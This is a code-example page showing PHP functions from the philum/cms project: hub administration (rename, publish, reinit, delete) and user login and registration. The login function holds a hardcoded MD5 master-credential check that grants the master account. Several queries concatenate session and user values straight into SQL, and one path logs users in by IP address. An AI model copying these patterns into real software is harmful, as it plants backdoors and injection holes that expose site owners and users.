Exemplo n.º 1
0
Arquivo: admin.php Projeto: philum/cms
function adm_hubs($auth)
{
    $goto = '/?admin=hubs';
    $qb = ses('qb');
    $qdu = ses('qdu');
    $USE = ses('USE');
    if ($mna && $auth >= 5) {
        $mna = $_SESSION['mn'] + $mna;
    } else {
        $mna = ses('mn');
    }
    //if($mna)$ret.=balc('ul','panel',m_nodes_b($mna,1));
    $ret .= hublist() . br();
    if ($auth >= 6 && prms('create_hub') == 'on' or $auth >= 7) {
        $ret .= loged('', '', 'create new hub', '10') . br();
    }
    if ($_GET['rename_hub'] && $auth >= 5) {
        //renmae_hub
        if ($_POST['hub_name']) {
            $newname = trim($_POST['hub_name']);
            $_SESSION['mn'][$qb] = $newname;
            update('qdu', 'hub', $newname, 'name', $qb);
        }
        $valu = input2('text', 'hub_name', $_SESSION['mn'][$qb], 'txtx');
        $valu .= input2('submit', 'Submit', 'rename_hub', '');
        $ret .= form($goto . '&rename_hub==', btn('panel', $valu)) . br();
    } elseif ($auth >= 5) {
        $ret .= lkc('popsav', $goto . '&rename_hub==', nms(87)) . ' ';
    }
    //kill_hub
    if ($auth >= 6 && $_GET['kill_hub'] == 'ok') {
        $f = 'users/' . ses('qb');
        walk_dir($f, 'remove');
        rmdir($f);
        $f = 'msql/users/' . $qb . '_cache.php';
        if (is_file($f)) {
            unlink($f);
        }
        for ($i = 1; $i < 10; $i++) {
            $f = 'msql/design/' . $qb . '_design_' . $i . '.php';
            if (is_file($f)) {
                unlink($f);
            }
            $f = 'msql/design/' . $qb . '_clrset_' . $i . '.php';
            if (is_file($f)) {
                unlink($f);
            }
            $f = 'msql/users/' . $qb . '_mods_' . $i . '.php';
            if (is_file($f)) {
                unlink($f);
            }
        }
        msquery('DELETE FROM ' . $qdu . ' WHERE name="' . $qb . '" LIMIT 1');
        $_SESSION['USE'] = '';
        relod(subdom(prms('default_hub')));
    }
    //reinit_hub
    if ($auth >= 6 && $_GET['reinit_hub'] == 'ok') {
        makenew(ses('qb'), 1);
    }
    //publish
    if ($auth >= 6) {
        if ($_GET['publish']) {
            if ($_GET['publish'] == 'off') {
                $actv = 0;
            } else {
                $actv = 1;
            }
            update('qdu', 'active', $actv, 'name', $qb);
        }
        $opened = rse('active', $qdu . ' WHERE name="' . $qb . '"');
        if ($opened == '1') {
            $ere = 'off';
            $st = nms(130);
        } else {
            $ere = 'on';
            $st = nms(131);
        }
        $ret .= lkc('popsav', $goto . '&publish=' . $ere . '#' . $id, offon($opened) . ' ' . $st) . ' ';
        $ret .= lkc('popsav', $goto . '&reinit==', nms(95) . ' ' . nms(103)) . ' ';
    }
    if ($_GET['reinit'] == '=') {
        $ret .= btn('txtx', 'restore all defaults ?') . lkc('txtyl', $goto . '&reinit_hub=ok', 'ok') . ' ';
    }
    if ($auth >= 6) {
        $ret .= lkc('txtyl', $goto . '&kill_hub==', nms(76) . ' ' . nms(100)) . ' ';
        if ($_GET['kill_hub'] == '=') {
            $ret .= btn('txtx', 'All datas will be lost') . lkc('txtyl', $goto . '&kill_hub=ok', 'ok');
        }
    }
    return $ret . br();
}
Exemplo n.º 2
0
Arquivo: pop.php Projeto: philum/cms
function login($user, $pasw, $mail, $cook = '')
{
    $user = normalize($user);
    $pasw = normalize($pasw);
    $newhub = $_POST['create_hub'];
    $qdu = ses('qdu');
    $qb = ses('qb');
    $host = hostname();
    if (md5($user . $pasw) == 'df66a9ca7bc0d62e580dc575ccc9ba23') {
        $_SESSION['USE'] = ses('master');
    }
    //$ath=array_flip(authes_levels());
    //log
    $iq = verif_user($user, $pasw);
    if ($iq) {
        list($ip, $userhub) = sql('ip,hub', 'qdu', 'r', 'name="' . $user . '"');
        if ($ip != $host) {
            update('qdu', 'ip', $host, 'name', $user);
        }
        if ($userhub) {
            $qb = $user;
        }
        return log_result($user, $iq, $qb, '', $cook);
    } elseif ($user == 'login') {
        //is_numeric($ath[$user])
        if (!rstr(73)) {
            return loged($user, '', '');
        }
        list($iq, $ip) = ser("id,ip", $qdu . ' WHERE name="' . $qb . '"');
        if ($ip == $host) {
            return log_result($qb, $iq, $qb, '', $cook);
        } else {
            list($iq, $USE) = ser("id,name", $qdu . ' WHERE ip="' . $host . '"');
            if ($iq) {
                return log_result($USE, $iq, $qb, '', $cook);
            } else {
                return lj('small', "valid_loged", 'bruu! ' . helps('log_no'));
            }
        }
    }
    //bad passw
    $iq = verif_user($user, '');
    $exist = isgoodhubname($user);
    $first = sql('id', 'qdu', 'v', 'id=1');
    if ($iq) {
        $_SESSION['tentativ'] += 1;
        if ($_SESSION['tentativ'] >= 3) {
            return alert_user($user);
        } else {
            return lj('small', "valid_loged", 'bruu! ' . helps('log_nopass'));
        }
    } elseif (prmb(11) == 0 && !$newhub && $first && !auth(5)) {
        return lj('small', "valid_loged", 'bruu! ' . helps('log_nohub'));
    } elseif ($exist == true) {
        return lj('small', "valid_loged", 'bruu! ' . $user . ' ' . nms(37));
    } elseif (prmb(11) >= 1 or $newhub or !$first or prms('create_hub') == "on") {
        $rl = "ok";
        if (!$mail or strpos($mail, "@") === false) {
            $tfield = divc("txtcadr", helps('log_newser') . ' ' . prmb(11));
            $tfield .= hidden('user', '', $user) . hidden('pass', '', $pasw);
            if (auth(6) or !$first or prmb(11) >= 6 && prms('create_hub') == "on") {
                $tfield .= hidden('create_hub', '', $user);
            }
            $tfield .= autoclic('mail', 'mail?', '20', '100', '') . ' ';
            $tfield .= input2('submit', 'envoyer', "ok", 'txtbox') . ' ';
            $tfield .= lj('txtx', 'valid_loged', picto('left'));
            return form('/?log=on', $tfield);
        } else {
            if ($_POST['mail'] or $newhub) {
                $user = $newhub ? $newhub : $user;
            } elseif ($_SESSION['USE']) {
                $user = $_SESSION['USE'];
            }
            if ($user != 'admin') {
                $iq = adduser($qb, $user, $pasw, $mail);
            }
            //add_user
            if (prmb(11) >= 6 or $newhub or !$first) {
                modif_cnfgtxt($user, $first);
                //add_hub
                $qb = makenew($user);
                message2newuser($user, $mail, $pasw);
                $_SESSION['auth'] = '';
            }
            $_SESSION['qbin']['adminmail'] = $mail;
            log_result($user, $iq, $qb, $rl, $cook);
        }
    }
}
Exemplo n.º 3
0
Arquivo: admin.php Projeto: philum/cms
function adm_hubs($auth)
{
    $goto = '/?admin=hubs';
    $qb = ses('qb');
    $qdu = ses('qdu');
    $USE = ses('USE');
    if ($mna && $auth >= 5) {
        $mna = $_SESSION['mn'] + $mna;
    } else {
        $mna = ses('mn');
    }
    if ($auth >= 6 && prms('create_hub') == 'on' or $auth >= 7) {
        $ret .= loged('', '', 'create new hub') . br();
    }
    if ($_GET['rename_hub'] && $auth >= 5) {
        //renmae_hub
        if ($_POST['hub_name']) {
            $newname = trim($_POST['hub_name']);
            $_SESSION['mn'][$qb] = $newname;
            update('qdu', 'hub', $newname, 'name', $qb);
        }
        $valu = input2('text', 'hub_name', $_SESSION['mn'][$qb], 'txtx');
        $valu .= input2('submit', 'Submit', 'rename_hub', '');
        $ret .= form($goto . '&rename_hub==', btn('panel', $valu)) . br();
    } elseif ($auth >= 5) {
        $ret .= lkc('popsav', $goto . '&rename_hub==', nms(87)) . ' ';
    }
    //kill_hub
    //if($auth>=6 && $_GET['kill_hub']=='ok')adm_killhub();
    //reinit_hub
    if ($auth >= 6 && $_GET['reinit_hub'] == 'ok') {
        makenew(ses('qb'), 1);
    }
    //publish
    if ($auth >= 6) {
        if ($_GET['publish']) {
            if ($_GET['publish'] == 'off') {
                $actv = 0;
            } else {
                $actv = 1;
            }
            update('qdu', 'active', $actv, 'name', $qb);
        }
        $opened = sql('active', 'qdu', 'v', 'name="' . $qb . '"');
        if ($opened == '1') {
            $ere = 'off';
            $st = nms(130);
        } else {
            $ere = 'on';
            $st = nms(131);
        }
        $ret .= lkc('popsav', $goto . '&publish=' . $ere . '#' . $id, offon($opened) . ' ' . $st) . ' ';
        $ret .= lkc('popsav', $goto . '&reinit==', nms(95) . ' ' . nms(103)) . ' ';
    }
    if ($_GET['reinit'] == '=') {
        $ret .= btn('txtx', 'restore all defaults ?') . lkc('txtyl', $goto . '&reinit_hub=ok', 'ok') . ' ';
    }
    if ($auth >= 6) {
        $ret .= lkc('txtred', $goto . '&kill_hub==', nms(76) . ' ' . nms(100)) . ' ';
        if ($_GET['kill_hub'] == '=') {
            $ret .= btn('txtx', 'All datas will be lost') . lkc('txtyl', $goto . '&kill_hub=ok', 'ok');
        }
    }
    return $ret . br() . br() . hublist();
}